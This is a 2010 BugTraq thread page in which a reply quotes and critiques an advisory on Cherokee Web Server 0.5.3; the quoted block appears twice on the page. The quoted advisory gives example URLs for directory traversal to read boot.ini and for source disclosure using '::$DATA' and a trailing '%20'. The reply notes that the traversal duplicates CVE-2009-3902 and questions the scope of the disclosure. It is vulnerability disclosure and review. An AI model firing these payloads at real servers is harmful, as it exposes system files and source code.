BugTraq
Back to list
|
Post reply
Cherokee Web Server 0.5.3 Multiple Vulnerabilities
Jun 12 2010 02:56PM
info securitylab ir
(1 replies)
Re: Cherokee Web Server 0.5.3 Multiple Vulnerabilities
Jul 02 2010 12:16AM
security curmudgeon (jericho attrition org)
On Sat, 12 Jun 2010, info (at) securitylab (dot) ir [email concealed] wrote:
: #################################################################
: # Securitylab.ir
: #################################################################
: # Application Info:
: # Name: Cherokee Web Server
: # Version: 0.5.3
: # Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.ex
e
: #################################################################
: [Directory Traversal]:
: http://127.0.0.1/%5C../%5C../%5C../boot.ini%20
This is essentially CVE-2009-3902, just encoding one char.
: [Remote Source Disclosure]:
: http://127.0.0.1:80/file.html::$DATA
:
: http://127.0.0.1/index.htm%20
Did you try these on something other than HTML? Did it work for .php or
.asp for example?
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
On Sat, 12 Jun 2010, info (at) securitylab (dot) ir [email concealed] wrote:
: #################################################################
: # Securitylab.ir
: #################################################################
: # Application Info:
: # Name: Cherokee Web Server
: # Version: 0.5.3
: # Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.ex
e
: #################################################################
: [Directory Traversal]:
: http://127.0.0.1/%5C../%5C../%5C../boot.ini%20
This is essentially CVE-2009-3902, just encoding one char.
: [Remote Source Disclosure]:
: http://127.0.0.1:80/file.html::$DATA
:
: http://127.0.0.1/index.htm%20
Did you try these on something other than HTML? Did it work for .php or
.asp for example?
[ reply ]